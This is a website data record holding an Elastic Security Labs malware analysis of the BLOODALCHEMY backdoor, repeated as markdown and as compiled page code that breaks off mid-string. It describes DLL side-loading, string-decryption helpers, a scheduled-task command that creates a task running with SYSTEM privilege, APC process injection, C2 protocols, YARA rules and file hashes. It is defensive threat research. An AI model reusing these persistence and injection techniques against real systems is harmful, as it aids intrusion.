Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Disclosing the BLOODALCHEMY backdoor","slug":"disclosing-the-bloodalchemy-backdoor","date":"2023-10-13","description":"BLOODALCHEMY is a new, actively developed, backdoor that leverages a benign binary as an injection vehicle, and is a part of the REF5961 intrusion set.","image":"photo-edited-05@2x.jpg","tags":["security-research","malware-analysis","ref5961","bloodalchemy"],"body":{"raw":"\n## Preamble\n\nBLOODALCHEMY is an x86 backdoor written in C and found as shellcode injected into a signed benign process. It was discovered in our analysis and is part of the REF5961 intrusion set, which you can read about [here](https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set). \n\nBLOODALCHEMY requires a specific loader to be run because it isn't reflexive (it doesn’t have the capability to load and execute by itself). Additionally, BLOODALCHEMY isn’t compiled as position independent (when loaded at a different base address than the preferred one the binary has to be patched to take into account the new “position”). \n\nIn our analysis, the signed benign process was previously sideloaded with a malicious DLL. The DLL was missing from the sample data but was likely the container and the loader of the BLOODALCHEMY shellcode.\n\nWe believe from our research that the malware is part of a bigger toolset and is still in active development based on its current lack of capabilities, enabled debug logging of exceptions, and the existence of test strings used for persistence service setup.\n\n## Key takeaways\n* BLOODALCHEMY is likely a new backdoor and is still in active development\n* BLOODALCHEMY abuses a legitimate binary for loading\n* BLOODALCHEMY has multiple running modes, persistence mechanisms, and communication options\n\n## Initial execution\n\nDuring the initial execution phase, the adversary deployed a benign utility, `BrDifxapi.exe`, which is vulnerable to DLL side-loading. When deploying this vulnerable utility the adversary could side-load the unsigned BLOODALCHEMY loader (`BrLogAPI.dll`) and inject shellcode into the current process.\n\n![Command-line used to execute the BLOODALCHEMY loader](/assets/images/disclosing-the-bloodalchemy-backdoor/image4.png)\n\n\n![Fake BrLogApi.dll, part of BLOODALCHEMY toolset, sideloaded by BrDifxapi.exe](/assets/images/disclosing-the-bloodalchemy-backdoor/image15.png)\n\n\n`BrDifxapi.exe` is a binary developed by the Japanese company [Brother Industries](https://global.brother/en/gateway) and the version we observed has a revoked signature.\n\n![BrDifxapi.exe with revoked signature](/assets/images/disclosing-the-bloodalchemy-backdoor/image6.png)\n\n\nThe legitimate DLL named `BrLogApi.dll` is an unsigned DLL also by Brother Industries. BLOODALCHEMY uses the same DLL name.\n\n![The legitimate BrLogApi.dll is an unsigned DLL file](/assets/images/disclosing-the-bloodalchemy-backdoor/image25.jpg)\n\n\n## Code analysis\n\n### Data Obfuscation\n\nTo hide its strings the BLOODALCHEMY malware uses a classic technique where each string is encrypted, preceded by a single-byte decryption key, and finally, all concatenated together to form what we call an encrypted blob.\n\nWhile the strings are not null-terminated, the offset from the beginning of the blob, the string, and the size are passed as a parameter to the decryption function. Here is the encrypted blob format:\n\n_Blob = Key0 :EncryptedString0 + Key1:EncryptedString1 + ... + KeyN:EncryptedStringN_\n\nThe implementation in Python of the string decryption algorithm is given below: \n\n```Python\ndef decrypt_bytes(encrypted_data: bytes, offset: int, size: int) -\u003e bytes:\n decrypted_size = size - 1\n decrypted_data = bytearray(decrypted_size)\n\n encrypted_data_ = encrypted_data[offset : offset + size]\n key = encrypted_data_[0]\n\n i = 0\n while i != decrypted_size:\n decrypted_data[i] = key ^ encrypted_data_[i + 1]\n key = (key + ((key \u003c\u003c ((i % 5) + 1)) | (key \u003e\u003e (7 - (i % 5))))) \u0026 0xFF\n i += 1\n\n return bytes(decrypted_data)\n```\n\nThe strings contained in the configuration blob are encrypted using the same scheme, however the ids (or offsets) of each string are obfuscated; it adds two additional layers of obfuscation that must be resolved. Below, we can resolve additional obfuscation layers to decrypt strings from the configuration:\n\n```Python\ndef decrypt_configuration_string(id: int) -\u003e bytes:\n return decrypt_bytes(\n *get_configuration_encrypted_string(\n get_configuration_dword(id)))\n```\n\nEach function is given below:\n\n**The `get_configuration_dword` function**\n```Python\ndef get_configuration_dword(id: int) -\u003e int:\n b = ida_bytes.get_bytes(CONFIGURATION_VA + id, 4)\n return b[0] + (b[1] + (b[2] + (b[3] \u003c\u003c 8) \u003c\u003c 8) \u003c\u003c 8)\n```\n\n**The `get_configuration_encrypted_strng` function**\n```Python\ndef get_configuration_encrypted_string(id: int) -\u003e tuple[int, int]:\n ea = CONFIGURATION_VA + id\n\n v2 = 0\n i = 0\n\n while i \u003c= 63:\n c = ida_bytes.get_byte(ea)\n\n v6 = (c \u0026 127) \u003c\u003c i\n v2 = (v2 | v6) \u0026 0xFFFFFFFF\n\n ea += 1\n\n if c \u003e= 0:\n break\n \n i += 7\n return ea, v2\n```\n\n### Persistence\n\nBLOODALCHEMY maintains persistence by copying itself into its persistence folder with the path suffix `\\Test\\test.exe`, \n\n![BLOODALCHEMY folder and binary name](/assets/images/disclosing-the-bloodalchemy-backdoor/image24.png)\n\n\nThe root directory of the persistence folder is chosen based on its current privilege level, it can be either:\n* `%ProgramFiles%`\n* `%ProgramFiles(x86)%`\n* `%Appdata%`\n* `%LocalAppData%\\Programs`\n\n![BLOODALCHEMY root persistence folder choice](/assets/images/disclosing-the-bloodalchemy-backdoor/image10.png)\n\n\nPersistence is achieved via different methods depending on the configuration:\n* As a service\n* As a registry key\n* As a scheduled task\n* Using [COM](https://learn.microsoft.com/en-us/windows/win32/learnwin32/what-is-a-com-interface-) interfaces\n\nTo identify the persistence mechanisms, we can use the uninstall command to observe the different ways that the malware removes persistence.\n\nAs a service named `Test`.\n\n![BLOODALCHEMY deleting previously installed service](/assets/images/disclosing-the-bloodalchemy-backdoor/image11.png)\n\n\nAs a registry key at `CurrentVersion\\Run`\n\n![BLOODALCHEMY deleting “CurrentVersion\\Run” persistence registry key](/assets/images/disclosing-the-bloodalchemy-backdoor/image13.png)\n\n\nAs a scheduled task, running with SYSTEM privilege via `schtask.exe`:\n```\nb'schtasks.exe /CREATE /SC %s /TN \"%s\" /TR \"\\'%s\\'\" /RU \"NT AUTHORITY\\\\SYSTEM\" /Fb'\n```\n\nUsing the `TaskScheduler::ITaskService` COM interface. The intent of this persistence mechanism is currently unknown.\n\n![Instantiation of the ITaskService COM interface](/assets/images/disclosing-the-bloodalchemy-backdoor/image29.png)\n\n\n### Running modes\n\nThe malware has different running modes depending on its configuration:\n* Within the main or separate process thread\n* Create a Windows process and inject a shellcode into it\n* As a service\n\nThe malware can either work within the main process thread.\n\n![Capability function called within the main function](/assets/images/disclosing-the-bloodalchemy-backdoor/image5.png)\n\n\nOr run in a separate thread.\n\n![Capability function called in a new thread](/assets/images/disclosing-the-bloodalchemy-backdoor/image12.png)\n\n\nOr create a Windows process from a hardcoded list and inject a shellcode passed by parameter to the entry point using the [WriteProcessMemory+QueueUserAPC+ResumeThread](https://sevrosecurity.com/2020/04/13/process-injection-part-2-queueuserapc/) method.\n\n![Process injection running method](/assets/images/disclosing-the-bloodalchemy-backdoor/image3.png)\n\n\n![List of target binaries for process injection](/assets/images/disclosing-the-bloodalchemy-backdoor/image21.png)\n\n\nThe shellcode is contained in the parameters we call `p_interesting_data`. This parameter is actually a pointer to a structure containing both the malware configuration and executable binary data.\n\n![Entrypoint prototype](/assets/images/disclosing-the-bloodalchemy-backdoor/image18.png)\n\n\n![Provided shellcode copied in the remote process](/assets/images/disclosing-the-bloodalchemy-backdoor/image23.png)\n\n\n![Final part of the process injection procedure](/assets/images/disclosing-the-bloodalchemy-backdoor/image20.png)\n\n\nOr install and run itself as a service. In this scenario, the service name and description will be `Test` and `Digital Imaging System`:\n\n![Name and description strings used to install the BLOODALCHEMY service](/assets/images/disclosing-the-bloodalchemy-backdoor/image26.png)\n\n\nAlso when running as a service and started by the service manager the malware will masquerade itself as stopped by first setting the service status to “SERVICE_RUNNING” then setting the status to “SERVICE_STOPPED” while in fact the malware is still running.\n\n![BLOODALCHEMY’s service entry point masquerading service status](/assets/images/disclosing-the-bloodalchemy-backdoor/image30.png)\n\n\n### Communication\n\nThe malware communicates using either the HTTP protocol, named pipes, or sockets.\n\nWhen using the HTTP protocol the malware requests the following URI `/Inform/logger/.`\n\n![URI used to connect to C2](/assets/images/disclosing-the-bloodalchemy-backdoor/image27.png)\n\n\nIn this scenario, BLOODALCHEMY will try to use any proxy server found in the registry key `SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings`.\n\n![Host proxy information gathered from registry](/assets/images/disclosing-the-bloodalchemy-backdoor/image28.png)\n\n\nWe did not uncover any C2 infrastructure with our sample, but the URL could look something like this: `https://malwa[.]re/Inform/logger`\n\nWhen using a named pipe, the name is randomly generated using the current PID as seed.\n\n![Random pipe name generation seeded with current PID](/assets/images/disclosing-the-bloodalchemy-backdoor/image9.png)\n\n\nWhile waiting for a client to connect to this named pipe the malware scans the running processes and checks that its parent process is still running, this may be to limit access to the named pipe. That said, the malware is not checking that the pipe client is the correct parent process, only that the parent process is running. This introduces flawed logic in protecting the named pipe.\n\n![Retrieve parent PID](/assets/images/disclosing-the-bloodalchemy-backdoor/image16.png)\n\n\n![Flawed check for restricting pipe access to parent process](/assets/images/disclosing-the-bloodalchemy-backdoor/image7.png)\n\n\nFrom the malware strings and imports we know that the malware can also operate using TCP/UDP sockets.\n\n![Usage of the socket API in one of the implementations of the “communication” interface](/assets/images/disclosing-the-bloodalchemy-backdoor/image17.png)\n\n\nWhile we haven’t made any conclusions about their usage, we list all the protocols found in the encrypted strings.\n* DNS://\n* HTTP://\n* HTTPS://\n* MUX://\n* UDP://\n* SMB://\n* SOCKS5://\n* SOCKS4://\n* TCP://\n\nFor all protocols the data can be encrypted, [LZNT1 compressed](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/94164d22-2928-4417-876e-d193766c4db6), and/or Base64-encoded.\n\n### Commands\n\nThe malware only contains a few commands with actual effects:\n* Write/overwrite the malware toolset \n* Launch its malware binary `Test.exe`\n* Uninstall and terminate\n* Gather host information\n\nThere are three commands that write (or overwrite) the malware tool set with the received Base64-encoded binary data:\n* Either the malware binary (`Test.exe`)\n* the sideloaded DLL (`BrLogAPI.dll`)\n* or the main trusted binary (`BrDifxapi.exe`)\n\n![BLOODALCHEMY tool set overwrite commands](/assets/images/disclosing-the-bloodalchemy-backdoor/image8.png)\n\n\nOne command that launches the `Test.exe` binary in the persistence folder.\n\n![BLOODALCHEMY command to run the malware executable binary](/assets/images/disclosing-the-bloodalchemy-backdoor/image19.png)\n\n\nThe uninstall and terminate itself command will first delete all its files at specific locations then remove any persistence registry key or scheduled task, then remove installed service and finish by terminating itself.\n\n![Command to uninstall and terminate itself](/assets/images/disclosing-the-bloodalchemy-backdoor/image14.png)\n\n\n![Uninstall function](/assets/images/disclosing-the-bloodalchemy-backdoor/image2.png)\n\n\nOne host information gathering command: CPU, OS, display, network, etc.\n\n![Information gathering command](/assets/images/disclosing-the-bloodalchemy-backdoor/image22.png)\n\n\n## Summary\n\nBLOODALCHEMY is a backdoor shellcode containing only original code(no statically linked libraries). This code appears to be crafted by experienced malware developers.\n\nThe backdoor contains modular capabilities based on its configuration. These capabilities include multiple persistence, C2, and execution mechanisms.\n\nWhile unconfirmed, the presence of so few effective commands indicates that the malware may be a subfeature of a larger intrusion set or malware package, still in development, or an extremely focused piece of malware for a specific tactical usage.\n\n## BLOODALCHEMY and MITRE ATT\u0026CK\n\nElastic uses the [MITRE ATT\u0026CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats used against enterprise networks.\n\n### Tactics\n\nTactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.\n* [Command and Control](https://attack.mitre.org/tactics/TA0011/)\n* [Defense Evasion](https://attack.mitre.org/tactics/TA0005/)\n* [Discovery](https://attack.mitre.org/tactics/TA0007/)\n* [Execution](https://attack.mitre.org/tactics/TA0002/)\n* [Process Injection](https://attack.mitre.org/techniques/T1055/)\n\n## Malware prevention capabilities\n\n* [BLOODALCHEMY](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BloodAlchemy.yar)\n\n## YARA\n\nElastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BLOODALCHEMY malware:\n\n```yara\nBLOODALCHEMY\nrule Windows_Trojan_BloodAlchemy_1 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { 55 8B EC 51 83 65 FC 00 53 56 57 BF 00 20 00 00 57 6A 40 FF 15 }\n $a2 = { 55 8B EC 81 EC 80 00 00 00 53 56 57 33 FF 8D 45 80 6A 64 57 50 89 7D E4 89 7D EC 89 7D F0 89 7D }\n\n condition:\n all of them\n}\n\nrule Windows_Trojan_BloodAlchemy_2 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-09\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a1 = { 55 8B EC 83 EC 54 53 8B 5D 08 56 57 33 FF 89 55 F4 89 4D F0 BE 00 00 00 02 89 7D F8 89 7D FC 85 DB }\n $a2 = { 55 8B EC 83 EC 0C 56 57 33 C0 8D 7D F4 AB 8D 4D F4 AB AB E8 42 10 00 00 8B 7D F4 33 F6 85 FF 74 03 8B 77 08 }\n\n condition:\n any of them\n}\n\nrule Windows_Trojan_BloodAlchemy_3 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a = { 55 8B EC 83 EC 38 53 56 57 8B 75 08 8D 7D F0 33 C0 33 DB AB 89 5D C8 89 5D D0 89 5D D4 AB 89 5D }\n\n condition:\n all of them\n}\n\nrule Windows_Trojan_BloodAlchemy_4 {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2023-05-10\"\n last_modified = \"2023-06-13\"\n threat_name = \"Windows.Trojan.BloodAlchemy\"\n license = \"Elastic License v2\"\n os = \"windows\"\n\n strings:\n $a = { 55 8B EC 83 EC 30 53 56 57 33 C0 8D 7D F0 AB 33 DB 68 02 80 00 00 6A 40 89 5D FC AB AB FF 15 28 }\n\n condition:\n all of them\n}\n```\n\n## Observations\n\nAll observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/ref5961) in both ECS and STIX format in a combined zip bundle.\n\nThe following observables were discussed in this research.\n\n| Observable | Type | Name | Reference |\n|------------------------------------------------------------------|---------|--------------|---------------------|\n| `e14ee3e2ce0010110c409f119d56f6151fdca64e20d902412db46406ed89009a` | SHA-256 | `BrLogAPI.dll` | BLOODALCHEMY loader |\n| `25268bc07b64d0d1df441eb6f4b40dc44a6af568be0657533088d3bfd2a05455` | SHA-256 | NA | BLOODALCHEMY payload |\n","code":"var Component=(()=\u003e{var h=Object.create;var r=Object.defineProperty;var g=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var p=Object.getPrototypeOf,u=Object.prototype.hasOwnProperty;var y=(i,e)=\u003e()=\u003e(e||i((e={exports:{}}).exports,e),e.exports),b=(i,e)=\u003e{for(var t in e)r(i,t,{get:e[t],enumerable:!0})},o=(i,e,t,s)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of m(e))!u.call(i,a)\u0026\u0026a!==t\u0026\u0026r(i,a,{get:()=\u003ee[a],enumerable:!(s=g(e,a))||s.enumerable});return i};var f=(i,e,t)=\u003e(t=i!=null?h(p(i)):{},o(e||!i||!i.__esModule?r(t,\"default\",{value:i,enumerable:!0}):t,i)),w=i=\u003eo(r({},\"__esModule\",{value:!0}),i);var l=y((D,c)=\u003e{c.exports=_jsx_runtime});var k={};b(k,{default:()=\u003eA,frontmatter:()=\u003eL});var n=f(l()),L={title:\"Disclosing the BLOODALCHEMY backdoor\",slug:\"disclosing-the-bloodalchemy-backdoor\",date:\"2023-10-13\",description:\"BLOODALCHEMY is a new, actively developed, backdoor that leverages a benign binary as an injection vehicle, and is a part of the REF5961 intrusion set.\",author:[{slug:\"cyril-francois\"}],image:\"photo-edited-05@2x.jpg\",category:[{slug:\"security-research\"},{slug:\"malware-analysis\"}],tags:[\"security-research\",\"malware-analysis\",\"ref5961\",\"bloodalchemy\"]};function d(i){let e=Object.assign({h2:\"h2\",p:\"p\",a:\"a\",ul:\"ul\",li:\"li\",code:\"code\",img:\"img\",h3:\"h3\",em:\"em\",pre:\"pre\",strong:\"strong\",div:\"div\",table:\"table\",thead:\"thead\",tr:\"tr\",th:\"th\",tbody:\"tbody\",td:\"td\"},i.components);return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"BLOODALCHEMY is an x86 backdoor written in C and found as shellcode injected into a signed benign process. It was discovered in our analysis and is part of the REF5961 intrusion set, which you can read about \",(0,n.jsx)(e.a,{href:\"https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set\",rel:\"nofollow\",children:\"here\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:\"BLOODALCHEMY requires a specific loader to be run because it isn't reflexive (it doesn\\u2019t have the capability to load and execute by itself). Additionally, BLOODALCHEMY isn\\u2019t compiled as position independent (when loaded at a different base address than the preferred one the binary has to be patched to take into account the new \\u201Cposition\\u201D).\"}),`\n`,(0,n.jsx)(e.p,{children:\"In our analysis, the signed benign process was previously sideloaded with a malicious DLL. The DLL was missing from the sample data but was likely the container and the loader of the BLOODALCHEMY shellcode.\"}),`\n`,(0,n.jsx)(e.p,{children:\"We believe from our research that the malware is part of a bigger toolset and is still in active development based on its current lack of capabilities, enabled debug logging of exceptions, and the existence of test strings used for persistence service setup.\"}),`\n`,(0,n.jsx)(e.h2,{id:\"key-takeaways\",children:\"Key takeaways\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"BLOODALCHEMY is likely a new backdoor and is still in active development\"}),`\n`,(0,n.jsx)(e.li,{children:\"BLOODALCHEMY abuses a legitimate binary for loading\"}),`\n`,(0,n.jsx)(e.li,{children:\"BLOODALCHEMY has multiple running modes, persistence mechanisms, and communication options\"}),`\n`]}),`\n`,(0,n.jsx)(e.h2,{id:\"initial-execution\",children:\"Initial execution\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"During the initial execution phase, the adversary deployed a benign utility, \",(0,n.jsx)(e.code,{children:\"BrDifxapi.exe\"}),\", which is vulnerable to DLL side-loading. When deploying this vulnerable utility the adversary could side-load the unsigned BLOODALCHEMY loader (\",(0,n.jsx)(e.code,{children:\"BrLogAPI.dll\"}),\") and inject shellcode into the current process.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image4.png\",alt:\"Command-line used to execute the BLOODALCHEMY loader\",width:\"991\",height:\"31\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image15.png\",alt:\"Fake BrLogApi.dll, part of BLOODALCHEMY toolset, sideloaded by BrDifxapi.exe\",width:\"489\",height:\"95\"})}),`\n`,(0,n.jsxs)(e.p,{children:[(0,n.jsx)(e.code,{children:\"BrDifxapi.exe\"}),\" is a binary developed by the Japanese company \",(0,n.jsx)(e.a,{href:\"https://global.brother/en/gateway\",rel:\"nofollow\",children:\"Brother Industries\"}),\" and the version we observed has a revoked signature.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image6.png\",alt:\"BrDifxapi.exe with revoked signature\",width:\"400\",height:\"273\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The legitimate DLL named \",(0,n.jsx)(e.code,{children:\"BrLogApi.dll\"}),\" is an unsigned DLL also by Brother Industries. BLOODALCHEMY uses the same DLL name.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image25.jpg\",alt:\"The legitimate BrLogApi.dll is an unsigned DLL file\",width:\"986\",height:\"434\"})}),`\n`,(0,n.jsx)(e.h2,{id:\"code-analysis\",children:\"Code analysis\"}),`\n`,(0,n.jsx)(e.h3,{id:\"data-obfuscation\",children:\"Data Obfuscation\"}),`\n`,(0,n.jsx)(e.p,{children:\"To hide its strings the BLOODALCHEMY malware uses a classic technique where each string is encrypted, preceded by a single-byte decryption key, and finally, all concatenated together to form what we call an encrypted blob.\"}),`\n`,(0,n.jsx)(e.p,{children:\"While the strings are not null-terminated, the offset from the beginning of the blob, the string, and the size are passed as a parameter to the decryption function. Here is the encrypted blob format:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.em,{children:\"Blob = Key0 :EncryptedString0 + Key1:EncryptedString1 + ... + KeyN:EncryptedStringN\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The implementation in Python of the string decryption algorithm is given below:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:`def decrypt_bytes(encrypted_data: bytes, offset: int, size: int) -\u003e bytes:\n decrypted_size = size - 1\n decrypted_data = bytearray(decrypted_size)\n\n encrypted_data_ = encrypted_data[offset : offset + size]\n key = encrypted_data_[0]\n\n i = 0\n while i != decrypted_size:\n decrypted_data[i] = key ^ encrypted_data_[i + 1]\n key = (key + ((key \u003c\u003c ((i % 5) + 1)) | (key \u003e\u003e (7 - (i % 5))))) \u0026 0xFF\n i += 1\n\n return bytes(decrypted_data)\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"The strings contained in the configuration blob are encrypted using the same scheme, however the ids (or offsets) of each string are obfuscated; it adds two additional layers of obfuscation that must be resolved. Below, we can resolve additional obfuscation layers to decrypt strings from the configuration:\"}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:`def decrypt_configuration_string(id: int) -\u003e bytes:\n return decrypt_bytes(\n *get_configuration_encrypted_string(\n get_configuration_dword(id)))\n`})}),`\n`,(0,n.jsx)(e.p,{children:\"Each function is given below:\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsxs)(e.strong,{children:[\"The \",(0,n.jsx)(e.code,{children:\"get_configuration_dword\"}),\" function\"]})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:`def get_configuration_dword(id: int) -\u003e int:\n b = ida_bytes.get_bytes(CONFIGURATION_VA + id, 4)\n return b[0] + (b[1] + (b[2] + (b[3] \u003c\u003c 8) \u003c\u003c 8) \u003c\u003c 8)\n`})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsxs)(e.strong,{children:[\"The \",(0,n.jsx)(e.code,{children:\"get_configuration_encrypted_strng\"}),\" function\"]})}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{className:\"language-Python\",children:`def get_configuration_encrypted_string(id: int) -\u003e tuple[int, int]:\n ea = CONFIGURATION_VA + id\n\n v2 = 0\n i = 0\n\n while i \u003c= 63:\n c = ida_bytes.get_byte(ea)\n\n v6 = (c \u0026 127) \u003c\u003c i\n v2 = (v2 | v6) \u0026 0xFFFFFFFF\n\n ea += 1\n\n if c \u003e= 0:\n break\n \n i += 7\n return ea, v2\n`})}),`\n`,(0,n.jsx)(e.h3,{id:\"persistence\",children:\"Persistence\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"BLOODALCHEMY maintains persistence by copying itself into its persistence folder with the path suffix \",(0,n.jsx)(e.code,{children:\"\\\\Test\\\\test.exe\"}),\",\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image24.png\",alt:\"BLOODALCHEMY folder and binary name\",width:\"578\",height:\"39\"})}),`\n`,(0,n.jsx)(e.p,{children:\"The root directory of the persistence folder is chosen based on its current privilege level, it can be either:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"%ProgramFiles%\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"%ProgramFiles(x86)%\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"%Appdata%\"})}),`\n`,(0,n.jsx)(e.li,{children:(0,n.jsx)(e.code,{children:\"%LocalAppData%\\\\Programs\"})}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image10.png\",alt:\"BLOODALCHEMY root persistence folder choice\",width:\"1047\",height:\"347\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Persistence is achieved via different methods depending on the configuration:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"As a service\"}),`\n`,(0,n.jsx)(e.li,{children:\"As a registry key\"}),`\n`,(0,n.jsx)(e.li,{children:\"As a scheduled task\"}),`\n`,(0,n.jsxs)(e.li,{children:[\"Using \",(0,n.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/learnwin32/what-is-a-com-interface-\",rel:\"nofollow\",children:\"COM\"}),\" interfaces\"]}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"To identify the persistence mechanisms, we can use the uninstall command to observe the different ways that the malware removes persistence.\"}),`\n`,(0,n.jsxs)(e.p,{children:[\"As a service named \",(0,n.jsx)(e.code,{children:\"Test\"}),\".\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image11.png\",alt:\"BLOODALCHEMY deleting previously installed service\",width:\"406\",height:\"51\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"As a registry key at \",(0,n.jsx)(e.code,{children:\"CurrentVersion\\\\Run\"})]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image13.png\",alt:\"BLOODALCHEMY deleting \\u201CCurrentVersion\\\\Run\\u201D persistence registry key\",width:\"712\",height:\"75\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"As a scheduled task, running with SYSTEM privilege via \",(0,n.jsx)(e.code,{children:\"schtask.exe\"}),\":\"]}),`\n`,(0,n.jsx)(e.pre,{children:(0,n.jsx)(e.code,{children:`b'schtasks.exe /CREATE /SC %s /TN \"%s\" /TR \"\\\\'%s\\\\'\" /RU \"NT AUTHORITY\\\\\\\\SYSTEM\" /Fb'\n`})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Using the \",(0,n.jsx)(e.code,{children:\"TaskScheduler::ITaskService\"}),\" COM interface. The intent of this persistence mechanism is currently unknown.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image29.png\",alt:\"Instantiation of the ITaskService COM interface\",width:\"881\",height:\"77\"})}),`\n`,(0,n.jsx)(e.h3,{id:\"running-modes\",children:\"Running modes\"}),`\n`,(0,n.jsx)(e.p,{children:\"The malware has different running modes depending on its configuration:\"}),`\n`,(0,n.jsxs)(e.ul,{children:[`\n`,(0,n.jsx)(e.li,{children:\"Within the main or separate process thread\"}),`\n`,(0,n.jsx)(e.li,{children:\"Create a Windows process and inject a shellcode into it\"}),`\n`,(0,n.jsx)(e.li,{children:\"As a service\"}),`\n`]}),`\n`,(0,n.jsx)(e.p,{children:\"The malware can either work within the main process thread.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image5.png\",alt:\"Capability function called within the main function\",width:\"291\",height:\"57\"})}),`\n`,(0,n.jsx)(e.p,{children:\"Or run in a separate thread.\"}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image12.png\",alt:\"Capability function called in a new thread\",width:\"530\",height:\"59\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"Or create a Windows process from a hardcoded list and inject a shellcode passed by parameter to the entry point using the \",(0,n.jsx)(e.a,{href:\"https://sevrosecurity.com/2020/04/13/process-injection-part-2-queueuserapc/\",rel:\"nofollow\",children:\"WriteProcessMemory+QueueUserAPC+ResumeThread\"}),\" method.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image3.png\",alt:\"Process injection running method\",width:\"561\",height:\"52\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image21.png\",alt:\"List of target binaries for process injection\",width:\"623\",height:\"73\"})}),`\n`,(0,n.jsxs)(e.p,{children:[\"The shellcode is contained in the parameters we call \",(0,n.jsx)(e.code,{children:\"p_interesting_data\"}),\". This parameter is actually a pointer to a structure containing both the malware configuration and executable binary data.\"]}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image18.png\",alt:\"Entrypoint prototype\",width:\"280\",height:\"123\"})}),`\n`,(0,n.jsx)(e.p,{children:(0,n.jsx)(e.img,{src:\"/assets/images/disclosing-the-bloodalchemy-backdoor/image23.png\",alt:\"Provided shellcode copied in the 